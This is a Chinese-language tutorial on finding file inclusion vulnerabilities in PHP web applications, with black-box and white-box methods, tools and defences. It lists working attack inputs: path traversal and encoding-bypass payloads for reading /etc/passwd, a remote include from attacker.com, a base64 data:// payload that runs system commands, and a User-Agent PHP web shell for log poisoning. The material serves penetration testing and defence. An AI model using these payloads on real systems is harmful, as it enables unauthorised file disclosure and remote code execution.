本文目录导读:

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,通常出现在动态包含文件的功能中(如PHP的include()、require()),攻击者可以利用它读取敏感文件、执行任意代码(结合文件上传或日志注入),甚至远程包含恶意文件。
检测此类漏洞需要结合静态代码审计和动态黑盒测试,以下是系统化的检测方法:
黑盒测试(不掌握源码)
这是最常用的渗透测试方法,目标是找到存在动态文件包含的参数。
发现入口点
寻找URL中可能包含文件路径的参数,如:
?page=home?file=download.php?template=default?lang=cn?include=../config.php
常见于CMS、论坛、文件管理系统。
本地文件包含测试
尝试读取系统敏感文件,验证漏洞存在。
- Unix/Linux系统:
?file=../../../etc/passwd?file=/etc/passwd(注意根路径) - Windows系统:
?file=..\..\..\windows\win.ini?file=C:\boot.ini
如果页面返回了文件内容(如root:x:0:0:root:/root:/bin/bash),则存在LFI。
远程文件包含测试
仅当allow_url_include开启时有效(PHP中较常见)。
- 测试条件:尝试加载远程服务器上的文本文件。
- 操作:
?file=http://attacker.com/test.txt - 验证:如果页面显示了
test.txt,则存在RFI(风险极高,可直接执行代码)。
绕过技巧测试
如果开发者做了基础过滤,尝试以下绕过方式:
- 双写绕过:
?file=....//....//etc/passwd(过滤时) - 编码绕过:
- URL编码:
?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd - 二次编码:
?file=%252e%252e%252fetc/passwd
- URL编码:
- 绝对路径绕过:如果相对路径被限制,尝试
/etc/passwd - 空字节截断(PHP < 5.3.4):
?file=../../../etc/passwd%00(截断后续扩展名如.php) - 路径长度截断(Windows/PHP):
?file=../../../../../../../../etc/passwd............(超长路径导致截断)
伪协议利用
用于读取源码或执行命令(PHP环境):
php://filter/convert.base64-encode/resource=index.php-> 获取Base64编码的源码php://input+ POST数据:通过POST发送PHP代码执行(需allow_url_include=On)data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==-> 执行系统命令expect://id(需安装expect扩展)zip://或phar://:读取压缩包内的文件或触发反序列化
日志注入/LFI to RCE
当无法直接执行代码时,尝试污染日志文件并包含它:
- 污染Apache日志:用Burp或curl发送包含PHP代码的恶意User-Agent:
User-Agent: <?php system($_GET['c']); ?> - 触发日志写入:访问任意页面,确保日志记录。
- 包含日志文件:
?file=../../../var/log/apache2/access.log或.../error.log - 执行命令:在URL后加
&c=id,查看命令输出。
其他可注入点:/proc/self/environ、PHP session文件、/tmp/uploaded_file等。
白盒测试(有源码)
搜索危险函数
重点关注以下函数(以PHP为例,其他语言类似):
include(),include_once(),require(),require_once()file_get_contents(),fopen(),readfile(),file()(结合动态参数)- 框架中的视图渲染函数:
view(),render(),loadTemplate()
追踪变量来源
检查传递给这些函数的变量是否可控:
$file = $_GET['page']; include($file . '.php'); // 危险,但扩展名限制了部分攻击
特别是:
- 变量直接来自
$_GET,$_POST,$_COOKIE,$_REQUEST,$_FILES,$_SERVER中的用户可控部分。 - 变量经过数据库或文件读取后回显,但原始数据由用户提供(二次注入)。
检查过滤/验证逻辑
- 是否有白名单检查?如
if ($page == 'home' || $page == 'about')(安全) - 是否有路径净化函数?如
realpath(),basename(),str_replace('../', '', $file)(可能被绕过) - 是否限制了目录?如
include('/var/www/includes/' . $file)(限制了相对路径但可能被绝对路径绕过)
审计框架配置
- PHP:
allow_url_include是否开启(默认关闭,但生产环境可能开启) - Java:是否允许路径穿越()或使用
File对象不当 - Python/Django:
render()或Template()中拼接用户输入到模板路径 - Node.js:
fs.readFile(path.join(__dirname, userPath))未检查的遍历
自动化扫描工具推荐
-
Burp Suite (专业版):
- 使用主动扫描或Intruder,发送大量LFI payload。
- 通过
Extender安装插件如“LFI scanner”或“403 Bypasser”。
-
ffuf / gobuster:
- 可以结合目录遍历字典,对参数进行fuzzing。
ffuf -u "http://target.com/?page=FUZZ" -w /path/to/lfi-payloads.txt -mr "root:x:"
- 可以结合目录遍历字典,对参数进行fuzzing。
-
Kali Linux自带工具:
wfuzz:针对参数进行fuzzing。nikto -C all:扫描常见LFI漏洞(结果可能较粗糙)。dirb / dirbuster:附带LFI字典。
-
liffy / LFISuite: 专门针对LFI/RFI的自动化检测工具,支持伪协议利用和日志注入尝试。
检测时的注意事项
- 避免业务影响:极端的路径穿越()可能导致服务器崩溃(如读取
/dev/random),避免无限循环。 - 确认文件内容:返回HTTP 200但内容为空,不一定是漏洞;返回500错误,可能路径无效但也可能是目录被限制。
- 结合报错信息:包含不存在的路径时,服务器可能返回
Warning: include(abc.php),泄露真实路径。 - 区别LFI和目录遍历:LFI是通过包含函数执行(可能触发代码执行),目录遍历只是读出文件内容(HTTP访问无关include函数),LFI危害更大。
- 寻找次级目标:如果直接包含
/etc/passwd失败,尝试包含web应用自身的配置文件(config.php,db.php)、源码备份(.bak,.zip)、日志文件等。
总结检测流程
- 收集参数:手动或工具列出所有接收文件参数的URL。
- 基础Payload测试:
../../../etc/passwd看返回。 - 尝试伪协议:
php://filter/...读取源码,data://text/plain;base64,...执行命令。 - 绕过限制:编码、双写、空字节、绝对路径等。
- 寻找二次注入点:日志、session、上传文件、进程环境。
- 确认利用可能性:能否读取敏感文件?能否执行命令(RCE)?
防护建议:
- 避免动态文件包含,改用白名单或固定路由。
- 禁用
allow_url_include和allow_url_fopen。 - 严格过滤输入,使用
basename()+realpath()校验文件是否在允许的目录内。 - 更新PHP/中间件版本,防止空字节截断等已知绕过。
掌握这些方法,你就能系统性地检测并验证文件包含漏洞了,如果条件允许,建议在授权范围内进行测试。